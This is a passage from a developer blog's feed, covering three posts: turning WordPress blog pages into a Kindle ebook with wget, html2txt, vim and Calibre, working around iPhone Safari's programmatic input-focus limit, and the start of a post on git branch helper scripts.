&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; wget&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; https://blogexample.wordpress.com/page/2/&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -O&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; page2.html&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Convert HTML to markdown&lt;/h2&gt;
&lt;p&gt;Once I had the &lt;code&gt;html&lt;/code&gt; files, I converted them to markdown using
&lt;a href=&quot;https://github.com/aaronsw/html2text&quot;&gt;html2txt&lt;/a&gt;.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; html2txt&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; index.html&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; index.md&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; html2txt&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; page2.html&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; page2.md&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This gave me simpler versions of the text. I then had to manually edit the files
to remove the useless content (blog title, link to comments, footer links).&lt;/p&gt;
&lt;p&gt;I also replaced the titles (which were links) to their simple text form. I did
it once in vim, then recorded a macro and played it on the whole file. I also
did a few other cosmetic fixes on the file (fixing specials chars for example).&lt;/p&gt;
&lt;p&gt;Here is an excerpt of the vim script I often use when editing markdown extracted
from ebooks or online sources:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-vim&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;&quot; Dialogs should use the em dash (–) and not the simple dash (-)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;silent!&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; %s&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;/&#92;v^-/&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;–/e&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;&quot; Use common guillemets&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;silent!&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; %s&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;/“/&quot;/e&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;silent!&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; %s&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;/”/&quot;/e&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;&quot; Same goes for apostrophes&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;silent!&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; %s&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;/’/&#39;/e&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;silent!&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; %s&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;/‘/&#39;/e&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;silent!&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; %s&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;/`/&#39;/e&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;&quot; Fixing &quot;. ..&quot; and &quot;. . .&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;silent!&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; %s&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;/&#92;v( ?)&#92;. &#92;.( ?)&#92;./&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;/e&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;&quot; Force space after dot and comma&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;silent!&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; %s&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;/&#92;v(&#92;.|,)([^ &quot;&#92;.])/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;&#92;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &#92;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;/e&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;&quot; Force space after caps&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;silent!&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; %s&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;/&#92;v(&#92;l)(&#92;u)/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;&#92;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &#92;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;/e&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;&quot; Force space when case change inside a word&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;silent!&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; %s&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;/&#92;v(&#92;u{2})(&#92;l)/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;&#92;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &#92;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;/e&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;&quot; Fix lines that only contain whitespace&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;silent!&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; %s&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;/&#92;s+$/&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;/e&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;&quot; Condensate multiple new lines into only one&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;silent!&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; %s&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;/&#92;v&#92;n{3,}/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;&#92;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;&#92;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;r/e&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Putting it all together&lt;/h2&gt;
&lt;p&gt;Now with two formatted files, I just had to merge them together and add a few
more information in the header.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (echo &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;# Ebook title&#92;n&#92;n&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; &amp;#x26;&amp;#x26; &lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;cat&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; index.md&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; page2.md&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; book.txt&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now that we have a nice text input, we just have to convert it to a &lt;code&gt;mobi&lt;/code&gt; file
using the &lt;code&gt;ebook-convert&lt;/code&gt; script from &lt;a href=&quot;http://calibre-ebook.com/&quot;&gt;Calibre&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Note that we need to have a &lt;code&gt;.txt&lt;/code&gt; file here, &lt;code&gt;ebook-convert&lt;/code&gt; won&#39;t accept a
&lt;code&gt;.md&lt;/code&gt; file as input.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ebook-convert&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; book.txt&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; book.mobi&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; &#92;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;  --formatting-type&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; markdown&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; &#92;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;  --paragraph-type&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; off&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; &#92;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;  --chapter&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;//h:h2&#39;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And, we&#39;re almost done. We just need to add a bit of metadata to our file, so
the Kindle can correctly display it in its list of file.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ebook-meta&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; book.mobi&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; --authors=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;DOE John&quot;&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; --title=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;Ebook title&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;The end&lt;/h2&gt;
&lt;p&gt;And this is it. With just a few real simple shell scripts (&lt;code&gt;wget&lt;/code&gt;, &lt;code&gt;cat&lt;/code&gt;),
coupled with more complex scripts made by others (&lt;code&gt;html2txt&lt;/code&gt;, &lt;code&gt;ebook-convert&lt;/code&gt;)
and a bit of manual tweaking in &lt;code&gt;vim&lt;/code&gt; you can easily automate some processes.&lt;/p&gt;
&lt;p&gt;If you want to write a script that will do that for every available Wordpress
blog available out there, this will be a whole new level of complexity.
Sometimes, quick and dirty does the work just fine.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Trigger focus on input on iPhone programmatically</title>
    <link href="https://blog.pixelastic.com/2015/07/13/trigger-focus-on-input-on-iphone-programmatically/"/>
    <updated>2015-07-13T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2015/07/13/trigger-focus-on-input-on-iphone-programmatically</id>
    <content type="html">&lt;p&gt;It seems that Safari mobile on iPhone does not allow one to programmatically set
the focus to an input element if this does not come from a user interaction.&lt;/p&gt;
&lt;p&gt;This means that if you listen to some event to set focus to an input, the focus
won&#39;t be set on Safari. This also means that if you create a new call trace by
wrapping your call in a &lt;code&gt;setTimeout&lt;/code&gt;, you&#39;re also out of luck.&lt;/p&gt;
&lt;h2&gt;HTML only attempt&lt;/h2&gt;
&lt;p&gt;I was using the HTML default behavior of &lt;code&gt;label&lt;/code&gt;s being bound to their &lt;code&gt;input&lt;/code&gt;s
through the &lt;code&gt;for&lt;/code&gt; and &lt;code&gt;id&lt;/code&gt; attributes to automatically hide/display part of my
UI when a specific &lt;code&gt;label&lt;/code&gt; was clicked. This in turns checked/unchecked an
hidden checkbox that I was using in a CSS selector selector.&lt;/p&gt;
&lt;p&gt;Something like:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.my-ui&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  display&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;none&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.my-checkbox&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;:checked &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; .my-ui&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  display&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;block&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Adding a bit of JavaScript&lt;/h2&gt;
&lt;p&gt;And then, I was listening to the &lt;code&gt;change&lt;/code&gt; event on my checkbox to trigger a
&lt;code&gt;focus&lt;/code&gt; event on an &lt;code&gt;input&lt;/code&gt; in my UI.&lt;/p&gt;
&lt;p&gt;This worked quite well on desktop but fails on iPhone. After some Googling, it
turns out that Safari has a mechanism to protect auto focus of inputs. Inputs
can only be programmatically focused if the order comes from a user interaction.&lt;/p&gt;
&lt;p&gt;This means that if you call &lt;code&gt;.focus()&lt;/code&gt; in a &lt;code&gt;click&lt;/code&gt; handler, this is ok, but
this won&#39;t be ok if called from a &lt;code&gt;change&lt;/code&gt; event or a &lt;code&gt;setTimeout&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Replicating standard behavior&lt;/h2&gt;
&lt;p&gt;In my case, I had to bypass the whole standard &lt;code&gt;label&lt;/code&gt; behavior and rewrite it
in JavaScript to be able to trigger my focus event. Here is what I did:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$label&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;on&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;click&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  $checkbox&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;click&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  e&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;preventDefault&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  $input&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;focus&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is actually me listening to the &lt;code&gt;click&lt;/code&gt; event on the label, triggering a
&lt;code&gt;click&lt;/code&gt; on the checkbox (which will toggle the checkbox value) and disabling the
default behavior (using &lt;code&gt;e.preventDefault()&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Then I&#39;m doing my input focus, which will work because it originated from a user
interaction.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;It&#39;s a shame that I had to disable common HTML behavior to re-implement it in
JS, just so I can work around a weird bug in a specific proprietary
implementation. But such is the life a web developer.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Namespaced helpers for git branches</title>
    <link href="https://blog.pixelastic.com/2015/03/29/namespaced-helpers-for-git-branches/"/>
    <updated>2015-03-29T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2015/03/29/namespaced-helpers-for-git-branches</id>
    <content type="html">&lt;p&gt;I use &lt;code&gt;git&lt;/code&gt; everyday and I often need to switch between branches, create one
when I start a feature, then delete it afterwards. I need to know which branch
I&#39;m currently in, and the list of all available branches.&lt;/p&gt;
&lt;p&gt;The bare git commands to do all that are not the easiest to remember. Sometimes
you have to call &lt;code&gt;git branch&lt;/code&gt;, sometimes it&#39;s &lt;code&gt;git checkout&lt;/code&gt; or
&lt;code&gt;git show-branch&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I&#39;ve created a bunch of aliases to prevent me from having to remember the exact
commands, and abstracting them under a &lt;code&gt;git branch-*&lt;/code&gt; namespace. I now simply
need to type &lt;code&gt;git branch-list&lt;/code&gt; to list all my branches, &lt;code&gt;git branch-delete foo&lt;/code&gt;
to delete the &lt;code&gt;foo&lt;/code&gt; branch or &lt;code&gt;git branch-exists bar&lt;/code&gt; to check if the &lt;code&gt;bar&lt;/code&gt;
branch exists.&lt;/p&gt;
&lt;h2&gt;Quick note about aliases&lt;/h2&gt;
&lt;p&gt;You can create aliases in two different ways. Either you create a new entry in
your &lt;code&gt;~/.gitconfig&lt;/code&gt; file under the &lt;code&gt;[alias]&lt;/code&gt; section, or you create a new script
file in your &lt;code&gt;$PATH&lt;/code&gt; whith a name starting with &lt;code&gt;git-&lt;/code&gt;. By creating a &lt;code&gt;git-foo&lt;/code&gt;
script, you can invoke it by running &lt;code&gt;git foo&lt;/code&gt; automatically.&lt;/p&gt;
&lt;p&gt;I&#39;ve opted for the second approach as it makes writing non-trivial scripts
easier, and it gives an easy access to potential arguments. Also note that all
git scripts are run from your git root.&lt;/p&gt;
&lt;h2&gt;Display all the branches&lt;/h2&gt;
&lt;p&gt;This one is easy and git provides an easy way to call it. It will display a list
of all the local branches, and the current one will be prefixed with a &lt;code&gt;*&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; git&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; branch-list&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; develop&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  master&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  release&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;#!/usr/bin/env bash&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# git-branch-list&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; branch&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $@&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note that we pass the &lt;code&gt;$@&lt;/code&gt; to the initial call to allow passing optional
arguments (like &lt;code&gt;--all&lt;/code&gt; to also get remote branches).&lt;/p&gt;
&lt;h2&gt;What is the current branch?&lt;/h2&gt;
&lt;p&gt;Instead of displaying the whole list of all available branches, you might simply
need to know what the current branch is.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; git&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; branch-current&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;develop&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;#!/usr/bin/env bash&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# git branch-current&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; rev-parse&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; --abbrev-ref&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; HEAD&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; 2&gt;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;/dev/null&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This one is a little trickier. To get the name of the current branch, we need to
ask git the unambiguous name of the current &lt;code&gt;HEAD&lt;/code&gt;, which happens to be the name
of the current branch. Note that in detached head mode, this command will return
&lt;code&gt;HEAD&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Does the branch &lt;code&gt;foo&lt;/code&gt; exists?&lt;/h2&gt;
&lt;p&gt;Git also provides a top-level command to get this information. This will return
an exit code of &lt;code&gt;0&lt;/code&gt; if the branch exists, &lt;code&gt;1&lt;/code&gt; otherwise.&lt;/p&gt;
